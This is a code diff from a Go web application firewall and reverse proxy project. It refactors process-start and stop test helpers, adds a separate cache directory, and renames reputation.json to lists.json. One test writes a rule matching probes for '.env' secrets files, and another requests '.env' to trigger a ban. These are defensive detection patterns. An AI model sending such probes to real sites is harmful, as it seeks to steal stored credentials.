+	return addr, func() {
+		err := cmd.Process.Signal(syscall.SIGTERM)
+		if err != nil {
+			t.Fatalf("signal: %v", err)
+		}
+
+		select {
+		case status := <-exited:
+			if status != 0 {
+				t.Errorf(
+					"exit status %d, want 0; output:\n%s",
+					status,
+					out.text(),
+				)
+			}
+		case <-time.After(waitLimit):
+			t.Error("still running after being told to stop")
+		}
 	}
-
-	t.Cleanup(func() {
-		_ = cmd.Process.Kill()
-		_ = cmd.Wait()
-	})
-
-	addr, _ := out.line(t, "msg", "starting")["address"].(string)
-
-	return addr, cmd, out
 }
 
 func TestRProxyAsksAWAFThatSpeaksHTTP2OverHTTP1(t *testing.T) {
@@ -572,7 +613,7 @@ func TestRProxyAsksAWAFThatSpeaksHTTP2OverHTTP1(t *testing.T) {
 		t.Fatalf("write the certificate: %v", err)
 	}
 
-	addr, _, _ := startRProxyProcess(t,
+	addr, _ := startRProxyProcess(t,
 		wafBackend+"="+backend.URL,
 		"SWRP_UPSTREAM_URL="+startApp(t),
 		"SSL_CERT_FILE="+certificates)
@@ -583,7 +624,11 @@ func TestRProxyAsksAWAFThatSpeaksHTTP2OverHTTP1(t *testing.T) {
 		"Connection":          "Connection: anything\r\n",
 		"a WebSocket upgrade": "Connection: Upgrade\r\nUpgrade: websocket\r\n",
 	} {
-		status := sendRaw(t, addr, "GET / HTTP/1.1\r\nHost: site.example\r\n"+headers+"\r\n")
+		status := sendRaw(
+			t,
+			addr,
+			"GET / HTTP/1.1\r\nHost: site.example\r\n"+headers+"\r\n",
+		)
 		if status != http.StatusForbidden {
 			t.Errorf("with %s: status %d, want waf's 403", name, status)
 		}
@@ -591,7 +636,11 @@ func TestRProxyAsksAWAFThatSpeaksHTTP2OverHTTP1(t *testing.T) {
 		select {
 		case protocol := <-protocols:
 			if protocol != "HTTP/1.1" {
-				t.Errorf("with %s: asked over %s, want HTTP/1.1", name, protocol)
+				t.Errorf(
+					"with %s: asked over %s, want HTTP/1.1",
+					name,
+					protocol,
+				)
 			}
 		case <-time.After(waitLimit):
 			t.Errorf("with %s: waf was not asked", name)
@@ -612,7 +661,11 @@ func TestRProxyProcessLinesNameTheHostAndComeAtInfo(t *testing.T) {
 
 	line := out.line(t, "msg", "starting")
 	if line["instance"] != hostname || line["level"] != "INFO" {
-		t.Errorf("rproxy's line is %v, want instance %s at INFO", line, hostname)
+		t.Errorf(
+			"rproxy's line is %v, want instance %s at INFO",
+			line,
+			hostname,
+		)
 	}
 }
 
@@ -651,7 +704,7 @@ func TestRProxyStoppingWaitsForAReportBeingSent(t *testing.T) {
 		exited <- runRProxy(ctx, env, out)
 	}()
 
-	addr, _ := out.line(t, "msg", "starting")["address"].(string)
+	addr, _ := out.lineBeforeExit(t, "starting", exited)["address"].(string)
 
 	wantStatus(t, "http://"+addr+"/", placed, http.StatusOK)
 
@@ -677,7 +730,11 @@ func TestRProxyStoppingWaitsForAReportBeingSent(t *testing.T) {
 	select {
 	case status := <-exited:
 		if status != 0 {
-			t.Errorf("rproxy's exit status %d, want 0; output:\n%s", status, out.text())
+			t.Errorf(
+				"rproxy's exit status %d, want 0; output:\n%s",
+				status,
+				out.text(),
+			)
 		}
 	case <-time.After(waitLimit):
 		t.Error("rproxy still running, the report having been answered")
@@ -750,8 +807,12 @@ func TestRProxyStoppingCutsOffARequestAfterFiveSeconds(t *testing.T) {
 		exited <- runRProxy(ctx, env, out)
 	}()
 
-	addr, _ := out.line(t, "msg", "starting")["address"].(string)
+	addr, _ := out.lineBeforeExit(t, "starting", exited)["address"].(string)
-	conn := sendAndKeepOpen(t, addr, "GET / HTTP/1.1\r\nHost: site.example\r\n\r\n")
+	conn := sendAndKeepOpen(
+		t,
+		addr,
+		"GET / HTTP/1.1\r\nHost: site.example\r\n\r\n",
+	)
 
 	select {
 	case <-asked:
@@ -775,7 +836,11 @@ func TestRProxyStoppingCutsOffARequestAfterFiveSeconds(t *testing.T) {
 	select {
 	case status := <-exited:
 		if status != 0 {
-			t.Errorf("rproxy's exit status %d, want 0; output:\n%s", status, out.text())
+			t.Errorf(
+				"rproxy's exit status %d, want 0; output:\n%s",
+				status,
+				out.text(),
+			)
 		}
 	case <-time.After(waitLimit):
 		t.Error("rproxy still running after the cut-off")
@@ -810,7 +875,11 @@ func TestRProxyInvalidSettingStopsTheStart(t *testing.T) {
 			message, _ := line["error"].(string)
 
 			if !strings.HasPrefix(message, tc.setting+": ") {
-				t.Errorf("start refused with %v, want it to name %s", line, tc.setting)
+				t.Errorf(
+					"start refused with %v, want it to name %s",
+					line,
+					tc.setting,
+				)
 			}
 		})
 	}
@@ -819,7 +888,11 @@ func TestRProxyInvalidSettingStopsTheStart(t *testing.T) {
 func TestRProxyAddressInUseStopsTheStart(t *testing.T) {
 	t.Parallel()
 
-	taken, err := (&net.ListenConfig{}).Listen(t.Context(), "tcp", localhost+":0")
+	taken, err := (&net.ListenConfig{}).Listen(
+		t.Context(),
+		"tcp",
+		localhost+":0",
+	)
 	if err != nil {
 		t.Fatalf("listen: %v", err)
 	}
@@ -845,7 +918,7 @@ func TestMainRunsRProxy(t *testing.T) {
 	t.Parallel()
 
 	// Nothing listens there; the health check does not ask.
-	addr, cmd, out := startRProxyProcess(t, wafBackend+"=http://127.0.0.1:9")
+	addr, stop := startRProxyProcess(t, wafBackend+"=http://127.0.0.1:9")
 
 	req, err := http.NewRequestWithContext(t.Context(), http.MethodGet,
 		"http://"+addr+waf.HealthPath, http.NoBody)
@@ -868,13 +941,5 @@ func TestMainRunsRProxy(t *testing.T) {
 		t.Errorf("health check answered %q (%v)", body, err)
 	}
 
-	err = cmd.Process.Signal(syscall.SIGTERM)
+	stop()
-	if err != nil {
-		t.Fatalf("signal: %v", err)
-	}
-
-	err = cmd.Wait()
-	if err != nil {
-		t.Errorf("exit: %v; output:\n%s", err, out.text())
-	}
 }

internal/sww/sww.go

@@ -1,9 +1,9 @@
 // Package sww runs the sww process, as the command it is given.
 // `sww waf` reads the settings, the rule files, the lookup database
-// and the state files, answers rproxy's questions until it is told to stop, and
+// and the state and cache files, answers rproxy's questions until it is told to
-// then stops in an orderly way, writing the state files. `sww rproxy`
+// stop, and then stops in an orderly way, writing the state and cache files.
-// reads rproxy's settings alone, and runs the reverse proxy in front of one app
+// `sww rproxy` reads rproxy's settings alone, and runs the reverse proxy in
-// that asks waf about each request. `sww healthcheck` is the
+// front of one app that asks waf about each request. `sww healthcheck` is the
 // container's health check.
 package sww
 
@@ -79,7 +79,11 @@ func Main(version string) int {
 		syscall.SIGTERM, os.Interrupt)
 	defer stop()
 
-	params := Params{Version: version, LookupEnv: os.LookupEnv, Stdout: os.Stdout}
+	params := Params{
+		Version:   version,
+		LookupEnv: os.LookupEnv,
+		Stdout:    os.Stdout,
+	}
 
 	switch args[0] {
 	case "rproxy":
@@ -101,8 +105,8 @@ func printUsage(w io.Writer) int {
 }
 
 // RunWAF is `sww waf`: it reads the settings, the rule files,
-// the lookup database and the state files, then serves requests until ctx is
+// the lookup database and the state and cache files, then serves requests until
-// done. It returns the process's exit status, 1 when waf cannot start.
+// ctx is done. It returns the process's exit status, 1 when waf cannot start.
 func RunWAF(ctx context.Context, params Params) int {
 	// Until the settings are read, the one message is an invalid setting's
 	// error, which every SWW_LOG_LEVEL lets through.
@@ -111,9 +115,7 @@ func RunWAF(ctx context.Context, params Params) int {
 
 	cfg, err := config.FromEnvironment(params.LookupEnv)
 	if err != nil {
-		processLog.Error("invalid setting", "error", err.Error())
+		return cannotStart(processLog, "invalid setting", err)
-
-		return 1
 	}
 
 	// While SWW_LOG_REMOTE_URL is set, every line on stdout from here on
@@ -127,13 +129,38 @@ func RunWAF(ctx context.Context, params Params) int {
 		stdout = io.MultiWriter(params.Stdout, remote)
 	}
 
-	processLog = requestlog.NewProcessLogger(stdout, cfg.InstanceName, cfg.LogLevel)
+	processLog = requestlog.NewProcessLogger(
+		stdout,
+		cfg.InstanceName,
+		cfg.LogLevel,
+	)
 
 	if remote != nil {
 		stopSending := startSending(ctx, remote, processLog)
 		defer stopSending()
 	}
 
+	return runWAFWithSettings(
+		ctx,
+		params.Version,
+		cfg,
+		stdout,
+		remote,
+		processLog,
+	)
+}
+
+// runWAFWithSettings is the rest of RunWAF once the settings are read and
+// the process log goes where they say. remote is nil unless
+// SWW_LOG_REMOTE_URL is set.
+func runWAFWithSettings(
+	ctx context.Context,
+	version string,
+	cfg *config.Config,
+	stdout io.Writer,
+	remote *remotelog.Sender,
+	processLog *slog.Logger,
+) int {
 	// The state files and the alerts give times in UTC.
 	now := func() time.Time { return time.Now().UTC() }
 
@@ -146,23 +173,25 @@ func RunWAF(ctx context.Context, params Params) int {
 		Alerts:     alertQueue,
 	})
 	if err != nil {
-		processLog.Error("cannot use the rule files", "error", err.Error())
+		return cannotStart(processLog, "cannot use the rule files", err)
-
-		return 1
 	}
 
 	crs, err := waf.NewCoreRuleSet(cfg)
 	if err != nil {
-		processLog.Error("cannot use the Core Rule Set", "error", err.Error())
+		return cannotStart(processLog, "cannot use the Core Rule Set", err)
-
-		return 1
 	}
 
-	server, err := newServer(cfg, stdout, processLog, now, ruleFiles, alertQueue, crs)
+	server, err := newServer(
+		cfg,
+		stdout,
+		processLog,
+		now,
+		ruleFiles,
+		alertQueue,
+		crs,
+	)
 	if err != nil {
-		processLog.Error("cannot use the lookup database", "error", err.Error())
+		return cannotStart(processLog, "cannot use the lookup database", err)
-
-		return 1
 	}
 
 	if remote != nil {
@@ -171,24 +200,43 @@ func RunWAF(ctx context.Context, params Params) int {
 
 	files, err := loadStateFiles(cfg, server, alertQueue, now, processLog)
 	if err != nil {
-		processLog.Error("cannot use the state files", "error", err.Error())
+		return cannotStart(
-
+			processLog,
-		return 1
+			"cannot use the state and cache files",
+			err,
+		)
 	}
 
 	listener, err := (&net.ListenConfig{}).Listen(ctx, "tcp", cfg.ListenAddr)
 	if err != nil {
-		processLog.Error("cannot listen on SWW_LISTEN_ADDR", "error", err.Error())
+		return cannotStart(
-
+			processLog,
-		return 1
+			"cannot listen on SWW_LISTEN_ADDR",
+			err,
+		)
 	}
 
 	processLog.Info("starting",
-		"version", params.Version,
+		"version", version,
 		"address", listener.Addr().String(),
 		"settings", cfg)
 
-	return serve(ctx, server, listener, files, ruleFiles, alertQueue, processLog)
+	return serve(
+		ctx,
+		server,
+		listener,
+		files,
+		ruleFiles,
+		alertQueue,
+		processLog,
+	)
+}
+
+// cannotStart logs why waf cannot start, and returns its exit status.
+func cannotStart(processLog *slog.Logger, message string, err error) int {
+	processLog.Error(message, "error", err.Error())
+
+	return 1
 }
 
 // newServer returns the server waf runs, with the metrics of the alerts,
@@ -230,20 +278,24 @@ func newServer(
 	server.Metrics.AddAlerts(alertQueue)
 
 	if lookupFile != nil {
-		server.Metrics.AddLookupFile(lookupFile.LastRead, lookupFile.ReadFailures)
+		server.Metrics.AddLookupFile(
+			lookupFile.LastRead,
+			lookupFile.ReadFailures,
+		)
 	}
 
 	return server, nil
 }
 
-// loadStateFiles reads the state files into the parts of server and into
+// loadStateFiles reads the state and cache files into the parts of server and
-// alertQueue, as state.Load does.
+// into alertQueue, as state.Load does.
 func loadStateFiles(
 	cfg *config.Config, server *waf.Server, alertQueue *alerts.Queue,
 	now func() time.Time, processLog *slog.Logger,
 ) (*state.Files, error) {
 	return state.Load(state.Params{
 		Dir:             cfg.StateDir,
+		CacheDir:        cfg.CacheDir,
 		WriteDelay:      cfg.StateWriteDelay,
 		CounterInterval: cfg.StateCounterInterval,
 		Ledger:          server.Ledger,
@@ -252,6 +304,7 @@ func loadStateFiles(
 		Lists:           server.Lists,
 		DNSBL:           server.DNSBL,
 		AbuseIPDB:       server.AbuseIPDB,
+		RouteWatch:      server.RouteWatch,
 		Alerts:          alertQueue,
 		Anomalies:       server.Anomalies,
 		Now:             now,
@@ -317,13 +370,13 @@ func startSending(
 	}
 }
 
-// serve serves requests on listener, writes the state files as they are
+// serve serves requests on listener, writes the state and cache files as they
-// due, takes in an admin's edits of them, reads the rule files again as
+// are due, takes in an admin's edits of them, reads the rule files again as
 // they change, and the lookup database when it is replaced, fetches the
 // lists the settings name by URL as they are due, and sends the alerts,
 // until ctx is done. Then it gives the requests in progress
-// shutdownTimeout to finish, and writes every state file, alerts.json with
+// shutdownTimeout to finish, and writes every state and cache file,
-// the alerts still waiting.
+// alerts.json with the alerts still waiting.
 func serve(
 	ctx context.Context, server *waf.Server, listener net.Listener,
 	files *state.Files, ruleFiles *rules.Files, alertQueue *alerts.Queue,
@@ -393,7 +446,11 @@ func serve(
 
 	err = files.WriteAll()
 	if err != nil {
-		processLog.Error("writing the state files failed", "error", err.Error())
+		processLog.Error(
+			"writing the state and cache files failed",
+			"error",
+			err.Error(),
+		)
 
 		return 1
 	}

internal/sww/sww_internal_test.go

@@ -22,7 +22,10 @@ func TestStopWaitsForTheSenderToFinish(t *testing.T) {
 	synctest.Test(t, func(t *testing.T) {
 		took := stopHeldSender(t, time.Second)
 		if took != time.Second {
-			t.Errorf("the stop took %s, want the second the sender took", took)
+			t.Errorf(
+				"the stop took %s, want the second the sender took",
+				took,
+			)
 		}
 	})
 }
@@ -59,7 +62,10 @@ func stopHeldSender(t *testing.T, release time.Duration) time.Duration {
 	sender := remotelog.New(remotelog.Params{
 		// No port is 65536, so each attempt to connect fails at once,
 		// before it reaches the network.
-		URL:    &url.URL{Scheme: remotelog.SchemeTCP, Host: "127.0.0.1:65536"},
+		URL: &url.URL{
+			Scheme: remotelog.SchemeTCP,
+			Host:   "127.0.0.1:65536",
+		},
 		Buffer: 1,
 	})
 

internal/sww/sww_test.go

@@ -38,6 +38,7 @@ const (
 	stateDir             = "SWW_STATE_DIR"
 	stateWriteDelay      = "SWW_STATE_WRITE_DELAY"
 	stateCounterInterval = "SWW_STATE_COUNTER_INTERVAL"
+	cacheDir             = "SWW_CACHE_DIR"
 	rateLimitPerDay      = "SWW_RATE_LIMIT_PER_DAY"
 	rateLimitExemptNets  = "SWW_RATE_LIMIT_EXEMPT_NETS"
 	rulesDir             = "SWW_RULES_DIR"
@@ -92,6 +93,35 @@ func (o *output) line(t *testing.T, key, value string) map[string]any {
 	return nil
 }
 
+// lineBeforeExit returns the first line whose msg is msg, waiting for it
+// while sww runs. It waits as long as that takes, so that a slow start
+// cannot fail the test, and fails the test if sww exits first.
+func (o *output) lineBeforeExit(
+	t *testing.T, msg string, exited <-chan int,
+) map[string]any {
+	t.Helper()
+
+	for {
+		fields := o.findLine(t, func(fields map[string]any) bool {
+			return fields["msg"] == msg
+		})
+		if fields != nil {
+			return fields
+		}
+
+		select {
+		case status := <-exited:
+			t.Fatalf(
+				"exit status %d while waiting for a line with msg %q; output:\n%s",
+				status,
+				msg,
+				o.text(),
+			)
+		case <-time.After(pollInterval):
+		}
+	}
+}
+
 // findLine returns the first line written so far for which matches is true, or
 // nil.
 func (o *output) findLine(
@@ -135,6 +165,12 @@ func run(ctx context.Context, env map[string]string, out *output) int {
 				return "off", true
 			}
 
+			// The cache files go beside the state files unless the test
+			// says otherwise.
+			if !ok && name == cacheDir {
+				return env[stateDir], env[stateDir] != ""
+			}
+
 			return value, ok
 		},
 		Stdout: out,
@@ -195,7 +231,11 @@ func TestShortTokenStopsTheStartUnshown(t *testing.T) {
 func TestAddressInUseStopsTheStart(t *testing.T) {
 	t.Parallel()
 
-	taken, err := (&net.ListenConfig{}).Listen(t.Context(), "tcp", localhost+":0")
+	taken, err := (&net.ListenConfig{}).Listen(
+		t.Context(),
+		"tcp",
+		localhost+":0",
+	)
 	if err != nil {
 		t.Fatalf("listen: %v", err)
 	}
@@ -236,11 +276,12 @@ func TestServesUntilToldToStop(t *testing.T) {
 	}()
 
 	// The default rule file is read.
-	if rules := out.line(t, "msg", "read the rule files")["rules"]; rules != 12.0 {
+	readRules := out.lineBeforeExit(t, "read the rule files", exited)
+	if rules := readRules["rules"]; rules != 12.0 {
 		t.Errorf("read %v rules from the default rule file, want 12", rules)
 	}
 
-	starting := out.line(t, "msg", "starting")
+	starting := out.lineBeforeExit(t, "starting", exited)
 	wantStartingLine(t, starting, dir)
 
 	addr, _ := starting["address"].(string)
@@ -286,13 +327,17 @@ func TestLogLevelHoldsBackTheLessSevereProcessLines(t *testing.T) {
 		}, out)
 	}()
 
-	out.line(t, "msg", "fetching a list failed")
+	out.lineBeforeExit(t, "fetching a list failed", exited)
 	stop()
 
 	select {
 	case status := <-exited:
 		if status != 0 {
-			t.Fatalf("exit status %d, want 0; output:\n%s", status, out.text())
+			t.Fatalf(
+				"exit status %d, want 0; output:\n%s",
+				status,
+				out.text(),
+			)
 		}
 	case <-time.After(waitLimit):
 		t.Fatal("still running after being told to stop")
@@ -446,7 +491,14 @@ func TestBanAddedAndLiftedByEditingBansJSON(t *testing.T) {
 	runUntilStopped(t, env, func(url string) {
 		path := filepath.Join(dir, "bans.json")
 
-		saveUntilAnswered(t, path, oneBan, url, "203.0.113.9", http.StatusForbidden)
+		saveUntilAnswered(
+			t,
+			path,
+			oneBan,
+			url,
+			"203.0.113.9",
+			http.StatusForbidden,
+		)
 		wantStatus(t, url, "198.51.100.7", http.StatusOK)
 		saveUntilAnswered(t, path, noBan, url, "203.0.113.9", http.StatusOK)
 	})
@@ -535,12 +587,20 @@ func TestRuleFileThatDoesNotParseStopsTheStart(t *testing.T) {
 	dir := t.TempDir()
 	path := filepath.Join(dir, "00-default.rules")
 
-	err := os.WriteFile(path, []byte("# probes\nenv-file path bann ^/\\.env$\n"), 0o600)
+	err := os.WriteFile(
+		path,
+		[]byte("# probes\nenv-file path bann ^/\\.env$\n"),
+		0o600,
+	)
 	if err != nil {
 		t.Fatalf("write the rule file: %v", err)
 	}
 
-	wantRulesRefused(t, dir, path+`, line 2: the action "bann" is not log, block or ban`)
+	wantRulesRefused(
+		t,
+		dir,
+		path+`, line 2: the action "bann" is not log, block or ban`,
+	)
 }
 
 func TestRulesDirThatDoesNotExistStopsTheStart(t *testing.T) {
@@ -552,7 +612,9 @@ func TestRulesDirThatDoesNotExistStopsTheStart(t *testing.T) {
 		": no such file or directory")
 }
 
-func TestCoreRuleSetExclusionsFileThatCannotBeReadStopsTheStart(t *testing.T) {
+func TestCoreRuleSetExclusionsFileThatCannotBeReadStopsTheStart(
+	t *testing.T,
+) {
 	t.Parallel()
 
 	path := filepath.Join(t.TempDir(), "crs-exclusions.conf")
@@ -653,27 +715,42 @@ func TestLookupDatabaseReplacedWhileRunningTakesEffect(t *testing.T) {
 		}
 
 		// One that cannot be read leaves the file read before in use.
-		err := os.WriteFile(replacement, []byte("not a lookup database\n"), 0o600)
+		err := os.WriteFile(
+			replacement,
+			[]byte("not a lookup database\n"),
+			0o600,
+		)
 		if err != nil {
 			t.Fatalf("write %s: %v", replacement, err)
 		}
 
 		rename(t, replacement, path)
 
-		metrics := metricsWith(t, url+"_sww/metrics", token,
+		metrics := metricsWith(
-			`sww_lookup_database_read_failures_total{instance="fsn1app1/blog"} 1`)
+			t,
-		lastRead = seriesValue(t, metrics,
+			url+"_sww/metrics",
-			`sww_lookup_database_last_read_timestamp_seconds{instance="fsn1app1/blog"}`)
+			token,
+			`sww_lookup_database_read_failures_total{instance="fsn1app1/blog"} 1`,
+		)
+		lastRead = seriesValue(
+			t,
+			metrics,
+			`sww_lookup_database_last_read_timestamp_seconds{instance="fsn1app1/blog"}`,
+		)
 
 		wantStatus(t, url, placed, http.StatusOK)
 	})
 
-	if lastRead < float64(began.Unix()) || lastRead > float64(time.Now().Unix()) {
+	if lastRead < float64(began.Unix()) ||
-		t.Errorf("the lookup database was last read at %v, want a time in the test", lastRead)
+		lastRead > float64(time.Now().Unix()) {
+		t.Errorf(
+			"the lookup database was last read at %v, want a time in the test",
+			lastRead,
+		)
 	}
 }
 
-func TestBlocklistTriesAndCopiesKeptInReputationJSONAcrossRestarts(t *testing.T) {
+func TestBlocklistTriesAndCopiesKeptInListsJSONAcrossRestarts(t *testing.T) {
 	t.Parallel()
 
 	const (
@@ -706,10 +783,11 @@ func TestBlocklistTriesAndCopiesKeptInReputationJSONAcrossRestarts(t *testing.T)
 	t.Cleanup(server.Close)
 
 	torURL, dropURL := server.URL+torPath, server.URL+dropPath
-	dir := t.TempDir()
+	cache := t.TempDir()
 	env := map[string]string{
 		listenAddr:           localhost + ":0",
-		stateDir:             dir,
+		stateDir:             t.TempDir(),
+		cacheDir:             cache,
 		rulesDir:             t.TempDir(),
 		metricsToken:         token,
 		instanceName:         instance,
@@ -729,7 +807,7 @@ func TestBlocklistTriesAndCopiesKeptInReputationJSONAcrossRestarts(t *testing.T)
 	})
 
 	// Restarted with drop.txt named after it and the server answering, tor.txt
-	// waits SWW_BLOCKLIST_REFRESH after its failed try, kept in reputation.json,
+	// waits SWW_BLOCKLIST_REFRESH after its failed try, kept in lists.json,
 	// while drop.txt, never tried, is fetched at once. Lists are fetched in the
 	// order named, so once drop.txt refuses the client, tor.txt has had its turn.
 	failing.Store(false)
@@ -742,13 +820,13 @@ func TestBlocklistTriesAndCopiesKeptInReputationJSONAcrossRestarts(t *testing.T)
 	})
 	wantDeniedByList(t, out.line(t, "action", "client_denied"), dropURL)
 
-	if fetches := torFetches.Load(); fetches != 1 {
+	if n := torFetches.Load(); n != 1 {
-		t.Errorf("tor.txt fetched %d times, want once, before the restart", fetches)
+		t.Errorf("tor.txt fetched %d times before the restart, want 1", n)
 	}
 
 	// After another restart, with the server failing, the copy of drop.txt
-	// kept in reputation.json, its copyright line included, refuses the
+	// kept in lists.json, its copyright line included, refuses the client
-	// client from the first request.
+	// from the first request.
 	failing.Store(true)
 
 	out = runUntilStopped(t, env, func(url string) {
@@ -756,16 +834,16 @@ func TestBlocklistTriesAndCopiesKeptInReputationJSONAcrossRestarts(t *testing.T)
 	})
 	wantDeniedByList(t, out.line(t, "type", "request"), dropURL)
 
-	path := filepath.Join(dir, "reputation.json")
+	path := filepath.Join(cache, "lists.json")
 
-	kept, err := os.ReadFile(path) //nolint:gosec // a file in the test's directory
+	//nolint:gosec // a file in the test's directory
+	kept, err := os.ReadFile(path)
 	if err != nil || !strings.Contains(string(kept), `"`+copyright+`"`) {
-		t.Errorf("reputation.json holds\n%s\nwant the copy with %q (%v)", kept, copyright,
+		t.Errorf("lists.json holds\n%s\nwant %q (%v)", kept, copyright, err)
-			err)
 	}
 }
 
-func TestCrowdSecDecisionListKeptInReputationJSONAcrossARestart(t *testing.T) {
+func TestCrowdSecDecisionListKeptInListsJSONAcrossARestart(t *testing.T) {
 	t.Parallel()
 
 	const bouncerKey = "crowdsec-key-0123456789abcdef"
@@ -781,17 +859,21 @@ func TestCrowdSecDecisionListKeptInReputationJSONAcrossARestart(t *testing.T) {
 			case down.Load():
 				w.WriteHeader(http.StatusServiceUnavailable)
 			default:
-				_, _ = io.WriteString(w, `[{"duration": "4h0m0s", "origin": "crowdsec", `+
+				_, _ = io.WriteString(
-					`"scenario": "crowdsecurity/http-probing", "scope": "Range", `+
+					w,
-					`"type": "ban", "value": "203.0.113.0/24"}]`)
+					`[{"duration": "4h0m0s", "origin": "crowdsec", `+
+						`"scenario": "crowdsecurity/http-probing", "scope": "Range", `+
+						`"type": "ban", "value": "203.0.113.0/24"}]`,
+				)
 			}
 		}))
 	t.Cleanup(engine.Close)
 
-	dir := t.TempDir()
+	dir, cache := t.TempDir(), t.TempDir()
 	env := map[string]string{
 		listenAddr:              localhost + ":0",
 		stateDir:                dir,
+		cacheDir:                cache,
 		rulesDir:                t.TempDir(),
 		"SWW_CROWDSEC_LAPI_URL": engine.URL,
 		"SWW_CROWDSEC_LAPI_KEY": bouncerKey,
@@ -807,10 +889,14 @@ func TestCrowdSecDecisionListKeptInReputationJSONAcrossARestart(t *testing.T) {
 	ban := onlyBan(t, dir)
 	if ban["netblock"] != placed+"/32" || ban["cause"] != "crowdsec" ||
 		ban["reason"] != "CrowdSec's decision for crowdsecurity/http-probing" {
-		t.Errorf("bans.json holds %v, want the ban for crowdsec on %s", ban, placed)
+		t.Errorf(
+			"bans.json holds %v, want the ban for crowdsec on %s",
+			ban,
+			placed,
+		)
 	}
 
-	// Restarted with the engine down, the copy kept in reputation.json bans
+	// Restarted with the engine down, the copy kept in lists.json bans
 	// another client in the netblock from its first request.
 	down.Store(true)
 
@@ -818,22 +904,28 @@ func TestCrowdSecDecisionListKeptInReputationJSONAcrossARestart(t *testing.T) {
 		wantStatus(t, url, "203.0.113.10", http.StatusForbidden)
 	})
 
-	// The key is in neither run's output, nor in a state file.
+	// The key is in neither run's output, nor in a state or cache file.
-	files := []string{"bans.json", "reputation.json", "clients.json"}
+	files := []string{
+		filepath.Join(dir, "bans.json"), filepath.Join(dir, "clients.json"),
+		filepath.Join(cache, "lists.json"),
+	}
 	shown := make([]string, 0, len(files)+2)
 	shown = append(shown, first.text(), second.text())
 
-	for _, name := range files {
+	for _, path := range files {
-		data, err := os.ReadFile(filepath.Join(dir, name)) //nolint:gosec // the test's
+		data, err := os.ReadFile(path) //nolint:gosec // the test's
 		if err != nil {
-			t.Fatalf("read %s: %v", name, err)
+			t.Fatalf("read %s: %v", path, err)
 		}
 
 		shown = append(shown, string(data))
 	}
 
 	if all := strings.Join(shown, "\n"); strings.Contains(all, bouncerKey) {
-		t.Errorf("the key is shown in the output or the state files:\n%s", all)
+		t.Errorf(
+			"the key is shown in the output or the state and cache files:\n%s",
+			all,
+		)
 	}
 }
 
@@ -845,7 +937,11 @@ func wantDeniedByList(t *testing.T, line map[string]any, listURL string) {
 	reputation, _ := line["reputation"].([]any)
 	if line["action"] != "client_denied" || len(reputation) != 1 ||
 		reputation[0] != listURL {
-		t.Errorf("request log line %v, want one denied for %s", line, listURL)
+		t.Errorf(
+			"request log line %v, want one denied for %s",
+			line,
+			listURL,
+		)
 	}
 }
 
@@ -880,7 +976,11 @@ func TestLookupDatabaseThatCannotBeReadStopsTheStart(t *testing.T) {
 func TestEveryLineIsAlsoSentToTheRemoteLogEndpoint(t *testing.T) {
 	t.Parallel()
 
-	endpoint, err := (&net.ListenConfig{}).Listen(t.Context(), "tcp", localhost+":0")
+	endpoint, err := (&net.ListenConfig{}).Listen(
+		t.Context(),
+		"tcp",
+		localhost+":0",
+	)
 	if err != nil {
 		t.Fatalf("listen: %v", err)
 	}
@@ -935,7 +1035,11 @@ func TestStalledRemoteLogEndpointHoldsUpNoRequest(t *testing.T) {
 
 	// The endpoint takes connections and never answers, so the TLS
 	// handshake of each waits on it, and no line is ever sent.
-	endpoint, err := (&net.ListenConfig{}).Listen(t.Context(), "tcp", localhost+":0")
+	endpoint, err := (&net.ListenConfig{}).Listen(
+		t.Context(),
+		"tcp",
+		localhost+":0",
+	)
 	if err != nil {
 		t.Fatalf("listen: %v", err)
 	}
@@ -971,7 +1075,8 @@ func TestStalledRemoteLogEndpointHoldsUpNoRequest(t *testing.T) {
 
 		const dropped = "\nsww_remote_log_lines_dropped_total" +
 			`{instance="fsn1app1/blog"} `
-		if strings.Contains(metrics, dropped+"0\n") || !strings.Contains(metrics, dropped) {
+		if strings.Contains(metrics, dropped+"0\n") ||
+			!strings.Contains(metrics, dropped) {
 			t.Errorf("no line dropped in the metrics:\n%s", metrics)
 		}
 
@@ -997,7 +1102,11 @@ func TestStalledRemoteLogEndpointHoldsUpNoRequest(t *testing.T) {
 	// too.
 	line := out.line(t, "msg", "starting")
 	if line["instance"] != instance {
-		t.Errorf("start logged with instance %v, want %s", line["instance"], instance)
+		t.Errorf(
+			"start logged with instance %v, want %s",
+			line["instance"],
+			instance,
+		)
 	}
 }
 
@@ -1028,10 +1137,14 @@ func TestBanIsAlertedAndAnAlertNotSentIsKeptAcrossARestart(t *testing.T) {
 		wantRefused(t, url+".env")
 
 		post := webhook.waitFor(t, "ban", true)
-		if post.alert["client"] != localhost || post.alert["netblock"] != localhost+"/32" ||
+		if post.alert["client"] != localhost ||
+			post.alert["netblock"] != localhost+"/32" ||
 			post.authorization != "Bearer "+adminSecret {
-			t.Errorf("the webhook was sent %v, with Authorization %q", post.alert,
+			t.Errorf(
-				post.authorization)
+				"the webhook was sent %v, with Authorization %q",
+				post.alert,
+				post.authorization,
+			)
 		}
 
 		// The webhook fails, so the alert for the ban made permanent by the
@@ -1043,24 +1156,7 @@ func TestBanIsAlertedAndAnAlertNotSentIsKeptAcrossARestart(t *testing.T) {
 
 	// alerts.json keeps it as sww stops, and once started again,
 	// sww sends it.
-	var file struct {
+	wantPermanentBanAlertWaiting(t, dir)
-		Waiting map[string][]struct {
-			Event string `json:"event"`
-		} `json:"waiting"`
-	}
-
-	path := filepath.Join(dir, "alerts.json")
-
-	data, err := os.ReadFile(path) //nolint:gosec // a file in the test's directory
-	if err == nil {
-		err = json.Unmarshal(data, &file)
-	}
-
-	waiting := file.Waiting["webhook"]
-	if err != nil || len(waiting) != 1 || waiting[0].Event != "permanent_ban" {
-		t.Fatalf("alerts.json holds %s (%v), want the permanent_ban alert waiting for "+
-			"the webhook", data, err)
-	}
 
 	// It counts the alert sent in the metrics, read here from a client the
 	// ban does not cover.
@@ -1092,6 +1188,37 @@ func TestBanIsAlertedAndAnAlertNotSentIsKeptAcrossARestart(t *testing.T) {
 	})
 }
 
+// wantPermanentBanAlertWaiting checks that alerts.json in dir holds one
+// alert waiting for the webhook, the permanent_ban alert.
+func wantPermanentBanAlertWaiting(t *testing.T, dir string) {
+	t.Helper()
+
+	var file struct {
+		Waiting map[string][]struct {
+			Event string `json:"event"`
+		} `json:"waiting"`
+	}
+
+	path := filepath.Join(dir, "alerts.json")
+
+	//nolint:gosec // a file in the test's directory
+	data, err := os.ReadFile(path)
+	if err == nil {
+		err = json.Unmarshal(data, &file)
+	}
+
+	waiting := file.Waiting["webhook"]
+	if err != nil || len(waiting) != 1 ||
